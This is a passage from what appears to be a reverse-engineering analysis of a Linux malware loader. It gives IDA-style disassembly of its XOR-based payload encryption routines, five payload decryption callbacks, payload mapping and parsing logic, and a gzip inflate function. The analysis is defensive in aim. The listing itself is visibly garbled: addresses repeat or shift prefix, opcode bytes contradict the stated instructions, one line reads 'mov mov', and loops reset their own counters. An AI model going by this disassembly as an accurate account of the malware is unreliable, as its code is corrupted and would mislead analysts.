.OAD:0805FCFE 75 20          jbe     short loc_805FD20
.OAD:0805FD00 89 01 00 00 00 00 mov     ecx, 1
.OAD:0805FD05 8D 76 00        lea    esi, [esi+0]
.OAD:0805FD08
.OAD:0805FD08          loc_805FD08:          ; CODE XREF: serial_bind_0xcc17976_xcode+3E:1j
.OAD:0805FD08 0F B6 54 0F FF      movzx  edx, byte ptr [edi+ecx-1]
.OAD:0805FD00 31 DA          xor     edx, ebx
.OAD:0805FD0F 83 F2 47        xor     edx, 47h
.OAD:0805FD12 31 CA          xor     ecx, ecx
.OAD:0805FD14 8B 14 08        mov     [eax+ecx], dl
.OAD:0805FD17 83 C1 01        add     ecx, 1
.OAD:0805FD1A 01 D3        add     ebx, edx
.OAD:0805FD1C 39 F1        cmp     ecx, esi
.OAD:0805FD1E 72 E8          jb     short loc_805FD08
.OAD:0805FD20
.OAD:0805FD20          loc_805FD20:          ; CODE XREF: serial_bind_0xcc17976_xcode+1E:1j
.OAD:0805FD20 5B          pop     ebx
.OAD:0805FD21 5E          pop     esi
.OAD:0805FD22 5F          pop     edi
.OAD:0805FD23 5D          pop     ebp
.OAD:0805FD24 C3          retn
.OAD:0805FD24          serial_bind_0xcc17976_xcode endp

```

## 7. Encryption function

```

LOAD:0005FD30 ; int __cdecl serial_bind_0xfaf1edf1_xcode(char *buffer, int length, unsigned __int8 key)
LOAD:0005FD30 serial_bind_0xfaf1edf1_xcode proc near ; DATA XREF: LOAD:000639A0!o
LOAD:0005FD30
LOAD:0005FD30
LOAD:0005FD30
LOAD:0005FD30
LOAD:0005FD30
LOAD:0005FD30 55
LOAD:0005FD31 89 E5
LOAD:0005FD33 57
LOAD:0005FD34 8B 45 08
LOAD:0005FD37 56
LOAD:0005FD38 8B 75 0C
LOAD:0005FD3B 53
LOAD:0005FD3C 0F B6 7D 10
LOAD:0005FD40 85 F6
LOAD:0005FD42 74 19
LOAD:0005FD44 31 C9
LOAD:0005FD46 31 DB
LOAD:0005FD48
LOAD:0005FD48
LOAD:0005FD48 89 FA
LOAD:0005FD4A 32 14 08
LOAD:0005FD4D 31 DA
LOAD:0005FD4F 31 CA
LOAD:0005FD51 8B 14 08
LOAD:0005FD54 83 C1 01
LOAD:0005FD57 01 D3
LOAD:0005FD59 39 CE
LOAD:0005FD5B 77 EB
LOAD:0005FD5D
LOAD:0005FD5D
LOAD:0005FD5D 5B
LOAD:0005FD5E 5E
LOAD:0005FD5F 5F
LOAD:0005FD60 5D
LOAD:0005FD61 C3
LOAD:0005FD61
LOAD:0005FD61
LOAD:0005FD62 8D B4 26 00 00 00 00 8D BC 27 00 00+
; -----
align 10h

; int __cdecl serial_bind_0xfaf1edf1_xcode(char *buffer, int length, unsigned __int8 key)
serial_bind_0xfaf1edf1_xcode proc near ; DATA XREF: LOAD:000639A0!o
buffer = dword ptr 8
length = dword ptr 0Ch
key = byte ptr 10h

push ebp
mov ebp, esp
push edi
mov eax, [ebp+buffer]
push esi
mov esi, [ebp+length]
push ebx
movzx edi, [ebp+key]
test esi, esi
jz short loc_0005FD50
xor ecx, ecx
xor ebx, ebx

loc_0005FD48: ; CODE XREF: serial_bind_0xfaf1edf1_xcode+2B1j
mov edx, edi
xor dl, [eax+ecx]
xor edx, ebx
xor ecx, ecx
mov [eax+ecx], dl
add ecx, 1
add ebx, edx
cmp esi, ecx
ja short loc_0005FD48

loc_0005FD5D: ; CODE XREF: serial_bind_0xfaf1edf1_xcode+121j
pop ebx
pop esi
pop edi
pop ebp
ret

serial_bind_0xfaf1edf1_xcode endp
; -----
align 10h

```

## 8. XOR 0x47 function type 5

```

.OAD:0005FD70
.OAD:0005FD70
.OAD:0005FD70
.OAD:0005FD70
.OAD:0005FD70
.OAD:0005FD70 55
.OAD:0005FD71 89 E5
.OAD:0005FD73 56
.OAD:0005FD74 8B 75 0C
.OAD:0005FD77 53
.OAD:0005FD78 8B 45 08
.OAD:0005FD7B 85 F6
.OAD:0005FD7D 74 20
.OAD:0005FD7F 31 D8
.OAD:0005FD81 31 C9
.OAD:0005FD83 90
.OAD:0005FD84 8D 74 26 00
.OAD:0005FD88
.OAD:0005FD88
.OAD:0005FD88 0F B6 14 08
.OAD:0005FD8C 31 DA
.OAD:0005FD8E 83 F2 47
.OAD:0005FD91 31 CA
.OAD:0005FD93 8B 14 08
.OAD:0005FD96 83 C1 01
.OAD:0005FD99 01 D3
.OAD:0005FD9B 39 CE
.OAD:0005FD9D 77 E9
.OAD:0005FD9F
.OAD:0005FD9F
.OAD:0005FD9F 5B
.OAD:0005FDA0 5E
.OAD:0005FDA1 5D
.OAD:0005FDA2 C3
.OAD:0005FDA2
.OAD:0005FDA2

; int __cdecl serial_bind_0x4b369f56_xcode(char *buffer, int length)
serial_bind_0x4b369f56_xcode proc near ; CODE XREF: serial_bind_0xd1eb34ee_decode+1877p
; serial_bind_0xd1eb34ee_decode+1EB7p ...
xx = dword ptr 8
yy = dword ptr 0Ch

push ebp
mov ebp, esp
push esi
mov esi, [ebp+yy]
push ebx
mov eax, [ebp+xx]
test esi, esi
jz short loc_0005FD9F
xor ebx, ebx
xor ecx, ecx
nop
lea esi, [esi+0]

loc_0005FD88: ; CODE XREF: serial_bind_0x4b369f56_xcode+2D1j
movzx edx, byte ptr [eax+ecx]
xor edx, ebx
xor edx, 47h
xor ecx, ecx
mov [eax+ecx], dl
add ecx, 1
add ebx, edx
cmp esi, ecx
ja short loc_0005FD88

loc_0005FD9F: ; CODE XREF: serial_bind_0x4b369f56_xcode+D1j
pop ebx
pop esi
pop ebp
ret

serial_bind_0x4b369f56_xcode endp

```

# Payload-Related Encryption Methods

There are five main decryption methods for the payload to be loaded.

## Method 1

```
LOAD:0804A2E0 ; int __cdecl decode_callback_t1(int sysinfo, int payload, int i386, int tw, int bb, int cc)
LOAD:0804A2E0 decode_callback_t1 proc near ; DATA XREF: main+4B84o
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0
LOAD:0804A2E0 55
LOAD:0804A2E1 89 E5
LOAD:0804A2E3 56
LOAD:0804A2E4 53
LOAD:0804A2E5 83 EC 30
LOAD:0804A2E8 88 45 10
LOAD:0804A2EB 88 55 14
LOAD:0804A2EE 8D 75 D8
LOAD:0804A2F1 8B 5D 0C
LOAD:0804A2F4 C7 45 F4 FF FF FF FF
LOAD:0804A2FB 89 45 E0
LOAD:0804A2FE 8B 45 18
LOAD:0804A301 89 55 E4
LOAD:0804A304 8B 55 1C
LOAD:0804A307 C7 45 F0 00 00 00 00
LOAD:0804A30E 89 74 24 04
LOAD:0804A312 89 45 D8
LOAD:0804A315 89 55 DC
LOAD:0804A318 89 1C 24
LOAD:0804A31B E8 30 5A 00 00
LOAD:0804A320 3D 03 01 00 00
LOAD:0804A325 74 21
LOAD:0804A327
LOAD:0804A327
LOAD:0804A327
LOAD:0804A32A 8B 45 F4
LOAD:0804A32D 83 FA FD
LOAD:0804A330 77 08
LOAD:0804A332 89 04 24
LOAD:0804A335 E8 56 65 01 00
LOAD:0804A33A
LOAD:0804A33A
LOAD:0804A33A 83 C4 30
LOAD:0804A33D 31 C0
LOAD:0804A33F 5B
LOAD:0804A340 5E
LOAD:0804A341 5D
LOAD:0804A342 C3
LOAD:0804A342
LOAD:0804A343 90 8D 74 26 00
LOAD:0804A348
LOAD:0804A348
LOAD:0804A348 0F B6 45 E8

; int __cdecl decode_callback_t1(int sysinfo, int payload, int i386, int tw, int bb, int cc)
decode_callback_t1 proc near ; DATA XREF: main+4B84o
aa = dword ptr -28h
sysinfo = dword ptr 8
payload = dword ptr 0Ch
i386 = dword ptr 10h
tw = dword ptr 14h
bb = dword ptr 18h
cc = dword ptr 1Ch

push ebp
mov ebp, esp
push esi
push ebx
sub esp, 30h
mov eax, [ebp+i386]
mov edx, [ebp+tw]
lea esi, [ebp+aa]
mov ebx, [ebp+payload]
mov [ebp+aa+1Ch], 0FFFFFFFh
mov [ebp+aa+8], eax
mov eax, [ebp+bb]
mov [ebp+aa+0Ch], edx
mov edx, [ebp+cc]
mov [ebp+aa+18h], 0
mov [esp+4], esi ; val
mov [ebp+aa], eax
mov [ebp+aa+4], edx
mov [esp], ebx ; buf
call serial_bind_0xd1eb34ee_decode
cmp eax, 103h
jz short loc_804A348

loc_804A327: ; CODE XREF: decode_callback_t1+721j
; decode_callback_t1+894j ...
mov eax, [ebp+aa+1Ch]
lea edx, [eax-1]
cmp edx, 0FFFFFFFh
ja short loc_804A33A
mov [esp], eax
call serial_bind_0x44611a64_free

loc_804A33A: ; CODE XREF: decode_callback_t1+501j
add esp, 30h
xor eax, eax
pop ebx
pop esi
pop ebp
retn

; -----
align 8

loc_804A348: ; CODE XREF: decode_callback_t1+451j
movzx eax, byte ptr [ebp+aa+10h]
```



## Method 3

```
LOAD:0804A460 decode_callback_t3 proc near ; DATA XREF: main+B154c
LOAD:0804A460
LOAD:0804A460 var_40 = dword ptr -40h
LOAD:0804A460 var_3C = dword ptr -3Ch
LOAD:0804A460 val = dword ptr -38h
LOAD:0804A460 var_34 = dword ptr -34h
LOAD:0804A460 var_30 = dword ptr -30h
LOAD:0804A460 var_2C = dword ptr -2Ch
LOAD:0804A460 var_28 = byte ptr -28h
LOAD:0804A460 var_20 = dword ptr -20h
LOAD:0804A460 var_1C = dword ptr -1Ch
LOAD:0804A460 buf = dword ptr 0Ch
LOAD:0804A460 arg_8 = dword ptr 10h
LOAD:0804A460 arg_C = dword ptr 14h
LOAD:0804A460 arg_10 = dword ptr 18h
LOAD:0804A460 arg_14 = dword ptr 1Ch
LOAD:0804A460 55 push ebp
LOAD:0804A461 89 E5 mov ebp, esp
LOAD:0804A463 57 push edi
LOAD:0804A464 56 push esi
LOAD:0804A465 53 push ebx
LOAD:0804A466 83 EC 4C sub esp, 4Ch
LOAD:0804A469 8B 55 14 mov edx, [ebp+arg_C]
LOAD:0804A46C 8B 7D 0C mov edi, [ebp+buf]
LOAD:0804A46F 8B 5D 18 mov ebx, [ebp+arg_10]
LOAD:0804A472 8B 75 1C mov esi, [ebp+arg_14]
LOAD:0804A475 8B 45 10 mov mov
LOAD:0804A478 89 55 D4 mov [ebp+var_2C], edx
LOAD:0804A47B 8D 55 C8 lea edx, [ebp+val]
LOAD:0804A47E 89 54 24 04 mov [esp+4], edx ; val
LOAD:0804A482 89 55 C0 mov [ebp+var_40], edx
LOAD:0804A485 89 45 D0 mov [ebp+var_30], eax
LOAD:0804A488 89 5D C8 mov [ebp+val], ebx
LOAD:0804A48B 89 75 CC mov [ebp+var_34], esi
LOAD:0804A48E C7 45 E4 FF FF FF FF mov [ebp+var_1C], 0FFFFFFFh
LOAD:0804A495 C7 45 E0 00 00 00 00 mov [ebp+var_20], 0
LOAD:0804A49C 89 3C 24 mov [esp], edi ; buf
LOAD:0804A49F E8 AC 58 00 00 call serial_bind_0xd1eb34ee_decode
LOAD:0804A4A4 8B 55 C0 mov edx, [ebp+var_40]
LOAD:0804A4A7 C7 45 C4 0D 00 00 00 mov [ebp+var_3C], 0Dh
LOAD:0804A4AE 3D 03 01 00 00 cmp eax, 103h
LOAD:0804A4B3 74 59 jz short loc_804A50E
LOAD:0804A4B5
LOAD:0804A4B5 loc_804A4B5: ; CODE XREF: decode_callback_t3+CF4j
LOAD:0804A4B5 ; decode_callback_t3+1331j
LOAD:0804A4B5 8B 45 E4 mov eax, [ebp+var_1C]
LOAD:0804A4B8 8D 50 FF lea edx, [eax-1]
LOAD:0804A4BB 83 FA FD cmp edx, 0FFFFFFDh
LOAD:0804A4BE 0F 86 B4 00 00 00 jbe loc_804A578
LOAD:0804A4C4
LOAD:0804A4C4 loc_804A4C4: ; CODE XREF: decode_callback_t3+1271j
LOAD:0804A4C4 8B 35 00 4B 06 08 mov esi, ds:g_section_count0
LOAD:0804A4CA 85 F6 test esi, esi
LOAD:0804A4CC 74 2B jz short loc_804A4F9
LOAD:0804A4CE 31 DB xor ebx, ebx
```

## Method 4

```
LOAD:0804A5C0 ; int __cdecl decode_callback_t4(int, int buf, int, int, int, int)
LOAD:0804A5C0 decode_callback_t4 proc near ; DATA XREF: main+A10↓o
LOAD:0804A5C0
LOAD:0804A5C0 val = dword ptr -38h
LOAD:0804A5C0 var_34 = dword ptr -34h
LOAD:0804A5C0 var_30 = dword ptr -30h
LOAD:0804A5C0 var_2C = dword ptr -2Ch
LOAD:0804A5C0 var_28 = byte ptr -28h
LOAD:0804A5C0 var_20 = dword ptr -20h
LOAD:0804A5C0 var_1C = dword ptr -1Ch
LOAD:0804A5C0 arg_0 = dword ptr 8
LOAD:0804A5C0 buf = dword ptr 0Ch
LOAD:0804A5C0 arg_8 = dword ptr 10h
LOAD:0804A5C0 arg_C = dword ptr 14h
LOAD:0804A5C0 arg_10 = dword ptr 18h
LOAD:0804A5C0 arg_14 = dword ptr 1Ch
LOAD:0804A5C0 55 push ebp
LOAD:0804A5C1 89 E5 mov ebp, esp
LOAD:0804A5C3 57 push edi
LOAD:0804A5C4 BF 0D 00 00 00 mov edi, 0Dh
LOAD:0804A5C9 56 push esi
LOAD:0804A5CA 53 push ebx
LOAD:0804A5CB 83 EC 3C sub esp, 3Ch
LOAD:0804A5CE 8B 45 10 mov eax, [ebp+arg_8]
LOAD:0804A5D1 8B 55 14 mov edx, [ebp+arg_C]
LOAD:0804A5D4 8D 75 C8 lea esi, [ebp+val]
LOAD:0804A5D7 8B 5D 0C mov ebx, [ebp+buf]
LOAD:0804A5DA C7 45 E4 FF FF FF FF mov [ebp+var_1C], 0FFFFFFFh
LOAD:0804A5E1 89 45 D0 mov [ebp+var_30], eax
LOAD:0804A5E4 8B 45 18 mov eax, [ebp+arg_10]
LOAD:0804A5E7 89 55 D4 mov [ebp+var_2C], edx
LOAD:0804A5EA 8B 55 1C mov edx, [ebp+arg_14]
LOAD:0804A5ED C7 45 E0 00 00 00 00 mov [ebp+var_20], 0
LOAD:0804A5F4 89 74 24 04 mov [esp+4], esi ; val
LOAD:0804A5F8 89 45 C8 mov [ebp+val], eax
LOAD:0804A5FB 89 55 CC mov [ebp+var_34], edx
LOAD:0804A5FE 89 1C 24 mov [esp], ebx ; buf
LOAD:0804A601 E8 4A 57 00 00 call serial_bind_0xd1eb34ee_decode
LOAD:0804A606 3D 03 01 00 00 cmp eax, 103h
LOAD:0804A60B 74 58 jz short loc_804A665
LOAD:0804A60D
LOAD:0804A60D loc_804A60D: ; CODE XREF: decode_callback_t4+C0↓j
LOAD:0804A60D ; decode_callback_t4+E0↓j
LOAD:0804A60D 8B 45 E4 mov eax, [ebp+var_1C]
LOAD:0804A610 8D 50 FF lea edx, [eax-1]
LOAD:0804A613 83 FA FD cmp edx, 0FFFFFFDh
LOAD:0804A616 0F 86 8C 00 00 00 jbe loc_804A6A8
LOAD:0804A61C
LOAD:0804A61C loc_804A61C: ; CODE XREF: decode_callback_t4+F7↓j
LOAD:0804A61C A1 04 4B 06 08 mov eax, ds:g_section_count1
LOAD:0804A621 85 C0 test eax, eax
LOAD:0804A623 74 2C jz short loc_804A651
LOAD:0804A625 31 DB xor ebx, ebx
LOAD:0804A627 90 nop
LOAD:0804A628
LOAD:0804A628 loc_804A628: ; CODE XREF: decode_callback_t4+8F↓j
LOAD:0804A628 8B 14 DD 20 4D 06 08 mov edx, ds:g_section_map1.field_0.field_0[ebx*8]
LOAD:0804A62F 85 D2 test edx, edx
```

## Method 5

```
OAD:0805FC60 ; int __cdecl serial_bind_0x4743c911_xor(char *buf, int len)
OAD:0805FC60 serial_bind_0x4743c911_xor proc near ; CODE XREF: serial_bind_0xd1eb34ee_decode+136fp
OAD:0805FC60 ; serial_bvp+37fp
OAD:0805FC60 ; DATA XREF: ...
OAD:0805FC60 buf = dword ptr 8
OAD:0805FC60 len = dword ptr 0Ch
OAD:0805FC60
OAD:0805FC60 55 push ebp
OAD:0805FC61 89 E5 mov ebp, esp
OAD:0805FC63 57 push edi
OAD:0805FC64 8B 7D 0C mov edi, [ebp+len]
OAD:0805FC67 56 push esi
OAD:0805FC68 8B 75 08 mov esi, [ebp+buf]
OAD:0805FC6B 53 push ebx
OAD:0805FC6C 85 FF test edi, edi
OAD:0805FC6E 74 21 jz short loc_805FC91
OAD:0805FC70 31 DB xor ebx, ebx
OAD:0805FC72 31 D2 xor edx, edx
OAD:0805FC74 8D 74 26 00 lea esi, [esi+0]
OAD:0805FC78
OAD:0805FC78 loc_805FC78: ; CODE XREF: serial_bind_0x4743c911_xor+2F4j
OAD:0805FC78 0F B6 04 16 movzx eax, byte ptr [esi+edx]
OAD:0805FC7C 89 C1 mov ecx, eax
OAD:0805FC7E 83 F1 47 xor ecx, 47h ; xor 0x47
OAD:0805FC81 31 D9 xor ecx, ebx
OAD:0805FC83 01 C3 add ebx, eax
OAD:0805FC85 31 D1 xor ecx, edx
OAD:0805FC87 8B 0C 16 mov [esi+edx], cl
OAD:0805FC8A 83 C2 01 add edx, 1
OAD:0805FC8D 39 D7 cmp edi, edx
OAD:0805FC8F 77 E7 ja short loc_805FC78
OAD:0805FC91
OAD:0805FC91 loc_805FC91: ; CODE XREF: serial_bind_0x4743c911_xor+E1j
OAD:0805FC91 89 F0 mov eax, esi
OAD:0805FC93 5B pop ebx
OAD:0805FC94 5E pop esi
OAD:0805FC95 5F pop edi
OAD:0805FC96 5D pop ebp
OAD:0805FC97 C3 retn
OAD:0805FC97 serial_bind_0x4743c911_xor endp
OAD:0805FC97
```

# Payload Decryption Process

As shown in the main process of the main function, the payload parsing process is a relatively complex loop body process, and it is accompanied by many encryption confrontations.

Map and Load:

```
LOAD:0804B706 89 4C 24 08          mov     [esp+8], ecx    ; payload_info
LOAD:0804B70A 89 44 24 04          mov     [esp+4], eax   ; map_size
LOAD:0804B70E 8B 84 24 D8 10 00 00  mov     eax, [esp+10F0h+ref_map_addr]
LOAD:0804B715 89 04 24          mov     [esp], eax    ; map_addr
LOAD:0804B718 E8 23 45 00 00      call    serial_bind_0x97413c51_getpayload ; 获取具体payload
LOAD:0804B71D 85 C0          test    eax, eax
LOAD:0804B71F 0F 84 E0 00 00 00  jz      jmp_804B805
LOAD:0804B725 C7 44 24 44 04 00 00 00  mov     [esp+10F0h+payload], 4
LOAD:0804B72D BF 04 00 00 00      mov     edi, 4
LOAD:0804B732 C6 44 24 34 00      mov     byte ptr [esp+10F0h+ref_payload_addr_], 0
LOAD:0804B737 C6 44 24 2B 1C      mov     [esp+10F0h+var_10C5], 1Ch
LOAD:0804B73C C6 44 24 24 02      mov     byte ptr [esp+10F0h+vv_map_size], 2
LOAD:0804B741 C7 44 24 48 00 00 00 00  mov     [esp+10F0h+payload_struct], 0
LOAD:0804B749 C6 44 24 23 01      mov     [esp+10F0h+var_10CD], 1
LOAD:0804B74E E9 76 FA FF FF      jmp     ret_error
LOAD:0804B753
LOAD:0804B753
LOAD:0804B753
LOAD:0804B753 0F 85 23 01 00 00  jnz     loc_804B87C
LOAD:0804B759
LOAD:0804B759
LOAD:0804B759
LOAD:0804B759 8D 84 24 D4 10 00 00  lea     eax, [esp+10F0h+ref_map_size]
LOAD:0804B760 89 44 24 08          mov     [esp+8], eax   ; map_size
LOAD:0804B764 8D 84 24 D8 10 00 00  lea     eax, [esp+10F0h+ref_map_addr]
LOAD:0804B76B 89 44 24 04          mov     [esp+4], eax   ; map_addr
LOAD:0804B76F 8B 06          mov     eax, [esi]
LOAD:0804B771 89 04 24          mov     [esp], eax    ; file_path
LOAD:0804B774 E8 87 F6 FF FF      call    serial_mapFile ; 映射文件
LOAD:0804B779 85 C0          test    eax, eax
LOAD:0804B77B 0F 84 73 FF FF FF  jz      jmp_804B6F4
LOAD:0804B781
LOAD:0804B781
LOAD:0804B781
LOAD:0804B781 E8 5A 0D 00 00      call    serial_get_name
LOAD:0804B786 0F B6 4C 24 31      movzx   ecx, [esp+10F0h+arg0_flag]
LOAD:0804B788 31 DB          xor     ebx, ebx
LOAD:0804B78D C6 44 24 4F 01      mov     [esp+10F0h+var_10A1], 1
LOAD:0804B792 BF 03 00 00 00      mov     edi, 3
LOAD:0804B797 C7 44 24 44 03 00 00 00  mov     [esp+10F0h+payload], 3
LOAD:0804B79F C6 44 24 34 00      mov     byte ptr [esp+10F0h+ref_payload_addr_], 0
LOAD:0804B7A4 83 E1 01          and     ecx, 1
LOAD:0804B7A7 8B 4C 24 43          mov     [esp+43h], cl
LOAD:0804B7AB C6 44 24 2B 0C      mov     [esp+10F0h+var_10C5], 0Ch
LOAD:0804B7B0 C6 44 24 24 02      mov     byte ptr [esp+10F0h+vv_map_size], 2
LOAD:0804B7B5 C7 44 24 48 00 00 00 00  mov     [esp+10F0h+payload_struct], 0
LOAD:0804B7BD E9 AF FB FF FF      jmp     loc_804B371
LOAD:0804B7C2
LOAD:0804B7C2
LOAD:0804B7C2
LOAD:0804B7C2 E8 89 F6 00 00      call    serial_bind_0xb367cd0e_channel
LOAD:0804B7C7 85 C0          test    eax, eax
LOAD:0804B7C9 0F 84 DB 00 00 00  jz      jmp_804B8AA
```

## Parsing Process:

```

LOAD:0804B7E1
LOAD:0804B7E1
LOAD:0804B7E1
LOAD:0804B7E1 C6 44 24 24 01
LOAD:0804B7E6 BF 16 00 00 00
LOAD:0804B7EB C7 44 24 38 00 00 00 00
LOAD:0804B7F3 C7 44 24 48 00 00 00 00
LOAD:0804B7FB C6 44 24 23 01
LOAD:0804B800 E9 C4 F9 FF FF
LOAD:0804B805
LOAD:0804B805
LOAD:0804B805
LOAD:0804B805 8B 84 24 C8 10 00 00
LOAD:0804B80C 8B 94 24 D8 10 00 00
LOAD:0804B813 8B 4C 24 44
LOAD:0804B817 89 44 24 34
LOAD:0804B81B 89 54 24 24
LOAD:0804B81F 89 0C 24
LOAD:0804B822 E8 D9 39 00 00
LOAD:0804B827 85 C0
LOAD:0804B829 89 44 24 48
LOAD:0804B82D 0F 84 41 01 00 00
LOAD:0804B833 83 7C 24 38 00
LOAD:0804B838 0F 84 A3 00 00 00
LOAD:0804B83E 8B 44 24 38
LOAD:0804B842 8B 54 24 48
LOAD:0804B846 89 44 24 04
LOAD:0804B84A 89 14 24
LOAD:0804B84D E8 BE 49 00 00
LOAD:0804B852 85 C0
LOAD:0804B854 74 7F
LOAD:0804B856 C7 44 24 44 06 00 00 00
LOAD:0804B85E BF 06 00 00 00
LOAD:0804B863 C6 44 24 34 01
LOAD:0804B868 C6 44 24 2B 19
LOAD:0804B86D C6 44 24 24 03
LOAD:0804B872 C6 44 24 23 01
LOAD:0804B877 E9 4D F9 FF FF
LOAD:0804B87C
LOAD:0804B87C
LOAD:0804B87C
LOAD:0804B87C C7 44 24 44 03 00 00 00
LOAD:0804B884 BF 03 00 00 00
LOAD:0804B889 C6 44 24 34 00
LOAD:0804B88E C6 44 24 2B 00
LOAD:0804B893 C6 44 24 24 02
LOAD:0804B898 C7 44 24 48 00 00 00 00
LOAD:0804B8A0 C6 44 24 23 01
LOAD:0804B8A5 E9 1F F9 FF FF
LOAD:0804B8AA
LOAD:0804B8AA
LOAD:0804B8AA
LOAD:0804B8AA 8B 44 24 2C
LOAD:0804B8AE 89 04 24
LOAD:0804B8B1 E8 BA F6 00 00
LOAD:0804B8B6 85 C0
LOAD:0804B8BB 0F 84 81 00 00 00
LOAD:0804B8BE C7 44 24 44 16 00 00 00


```

```

loc_804B7E1: ; CODE XREF: main+8C01j
; main+95F1j ...
mov byte ptr [esp+10F0h+vv_map_size], 1
mov edi, 16h
mov [esp+10F0h+var_10B8], 0
mov [esp+10F0h+payload_struct], 0
mov [esp+10F0h+var_10CD], 1
jmp ret_error
; -----
jmp_804B805: ; CODE XREF: main+70F1j
mov eax, [esp+10F0h+ref_payload]
mov edx, [esp+10F0h+ref_map_addr]
mov ecx, [esp+10F0h+payload]
mov [esp+10F0h+ref_payload_addr_], eax
mov [esp+10F0h+vv_map_size], edx
mov [esp], ecx ; payload
call serial_bind_0x278dec7a_parsePayload ; 解析payload格式
test eax, eax
mov [esp+10F0h+payload_struct], eax
jz loc_804B974
cmp [esp+10F0h+var_10B8], 0
jz jmp_804B8E1
mov eax, [esp+10F0h+var_10B8]
mov edx, [esp+10F0h+payload_struct]
mov [esp+4], eax
mov [esp], edx
call serial_bind_0x3955ced4
test eax, eax
jz short loc_804B8D5
mov [esp+10F0h+payload], 6
mov edi, 6
mov byte ptr [esp+10F0h+ref_payload_addr_], 1
mov [esp+10F0h+var_10C5], 19h
mov byte ptr [esp+10F0h+vv_map_size], 3
mov [esp+10F0h+var_10CD], 1
jmp ret_error
; -----
loc_804B87C: ; CODE XREF: main:jmp_804B7531j
mov [esp+10F0h+payload], 3
mov edi, 3
mov byte ptr [esp+10F0h+ref_payload_addr_], 0
mov [esp+10F0h+var_10C5], 0
mov byte ptr [esp+10F0h+vv_map_size], 2
mov [esp+10F0h+payload_struct], 0
mov [esp+10F0h+var_10CD], 1
jmp ret_error
; -----
jmp_804B8AA: ; CODE XREF: main+7B91j
mov eax, [esp+2Ch]
mov [esp], eax ; pid
call serial_bind_0xbd6033b3_channel
test eax, eax
jz loc_804B93F
mov [esp+10F0h+payload], 16h

```

The decompression process involved:



linux\_gzip function:

```
-----
LOAD:08057170 55          push    ebp
LOAD:08057171 31 D2         xor     edx, edx
LOAD:08057173 89 E5         mov     ebp, esp
LOAD:08057175 57           push    edi
LOAD:08057176 BF 01 00 00 00 mov     edi, 1
LOAD:0805717B 56           push    esi
LOAD:0805717C BE 1F 00 00 00 mov     esi, 1Fh
LOAD:08057181 53           push    ebx
LOAD:08057182 83 EC 5C     sub     esp, 5Ch
LOAD:08057185 8B 5D 0C     mov     ebx, [ebp+dst_len]
LOAD:08057188 8B 45 08     mov     eax, [ebp+dst_buf]
LOAD:0805718B C7 05 30 5A 06 08 00 00 00 00 mov     ds:word_8065A30, 0
LOAD:08057195 C7 05 28 5A 06 08 00 00 00 00 mov     ds:g_gzip_key, 0
LOAD:0805719F C7 05 3C 5A 06 08 00 00 00 00 mov     ds:word_8065A3C, 0
LOAD:080571A9 A3 20 5A 06 08 mov     ds:word_8065A20, eax
LOAD:080571AE 31 C0         xor     eax, eax
LOAD:080571B0 C7 05 38 5A 06 08 00 00 00 00 mov     ds:word_8065A38, 0
LOAD:080571BA C7 05 40 5A 06 08 00 00 00 00 mov     ds:word_8065A40, 0
LOAD:080571C4 C7 05 44 5A 06 08 00 00 00 00 mov     ds:word_8065A44, 0
LOAD:080571CE 89 1D 24 5A 06 08 mov     ds:word_8065A24, ebx
LOAD:080571D4 89 5D E4     mov     [ebp+var_1C], ebx
LOAD:080571D7 90           nop
LOAD:080571D8
LOAD:080571D8          loc_80571D8:          ; CODE XREF: linux_gzip+7D4j
LOAD:080571D8 89 F1         mov     ecx, esi
LOAD:080571DA 89 FB         mov     ebx, edi
LOAD:080571DC 2B 0C 95 80 23 06 08 sub     ecx, ds:word_8062380[edx*4]
LOAD:080571E3 83 C2 01     add     edx, 1
LOAD:080571E6 D3 E3         shl     ebx, cl
LOAD:080571E8 09 D8         or     eax, ebx
LOAD:080571EA 83 FA 0E     cmp     edx, 0Eh
LOAD:080571ED 75 E9         jnz    short loc_80571D8
LOAD:080571EF 8B 5D E4     mov     ebx, [ebp+var_1C]
LOAD:080571F2 BF 01 00 00 00 mov     edi, 1
LOAD:080571F7 C7 05 60 5A 06 08 00 00 00 00 mov     ds:word_8065A60, 0
LOAD:08057201 8D B4 26 00 00 00 00 lea    esi, [esi+0]
LOAD:08057208
LOAD:08057208          loc_8057208:          ; CODE XREF: linux_gzip+D84j
LOAD:08057208 89 F9         mov     ecx, edi
LOAD:0805720A 31 D2         xor     edx, edx
LOAD:0805720C 80 CD 01     or     ch, 1
```

## linux\_gzip\_inflate\_fixed function:

```

LOAD:00056FE0 55          push    ebp
LOAD:00056FE1 89 E5        mov     ebp, esp
LOAD:00056FE3 56          push    esi
LOAD:00056FE4 BE 03 00 00 00 mov     esi, 3
LOAD:00056FE9 53          push    ebx
LOAD:00056FEA 83 EC 30     sub     esp, 30h
LOAD:00056FED C7 04 24 80 04 00 00 mov     dword ptr [esp], 480h
LOAD:00056FF4 E8 63 2A FF FF call   near ptr malloc_
LOAD:00056FF9 85 C0       test   eax, eax
LOAD:00056FFB 89 C3       mov     ebx, eax
LOAD:00056FFD 0F 84 F0 00 00 00 jz     loc_80570F3
LOAD:00057003 31 C0       xor     ecx, ecx
LOAD:00057005 8D 76 00     lea    esi, [esi+0]
LOAD:00057008                                loc_8057008: ; CODE XREF: linux_gzip_inflate_fixed+371j
LOAD:00057008 C7 04 83 08 00 00 00 mov     dword ptr [ebx+eax*4], 8
LOAD:0005700F 83 C0 01     add     eax, 1
LOAD:00057012 3D 90 00 00 00 cmp     eax, 90h
LOAD:00057017 75 EF       jnz    short loc_8057008
LOAD:00057019 8D B4 26 00 00 00 00 lea    esi, [esi+0]
LOAD:00057020                                loc_8057020: ; CODE XREF: linux_gzip_inflate_fixed+4F4j
LOAD:00057020 C7 04 83 09 00 00 00 00 mov     dword ptr [ebx+eax*4], 9
LOAD:00057027 83 C0 01     add     eax, 1
LOAD:0005702A 3D 00 01 00 00 00 cmp     eax, 100h
LOAD:0005702F 75 EF       jnz    short loc_8057020
LOAD:00057031 8D B4 26 00 00 00 00 lea    esi, [esi+0]
LOAD:00057038                                loc_8057038: ; CODE XREF: linux_gzip_inflate_fixed+674j
LOAD:00057038 C7 04 83 07 00 00 00 00 mov     dword ptr [ebx+eax*4], 7
LOAD:0005703F 83 C0 01     add     eax, 1
LOAD:00057042 3D 18 01 00 00 00 00 cmp     eax, 118h
LOAD:00057047 75 EF       jnz    short loc_8057038
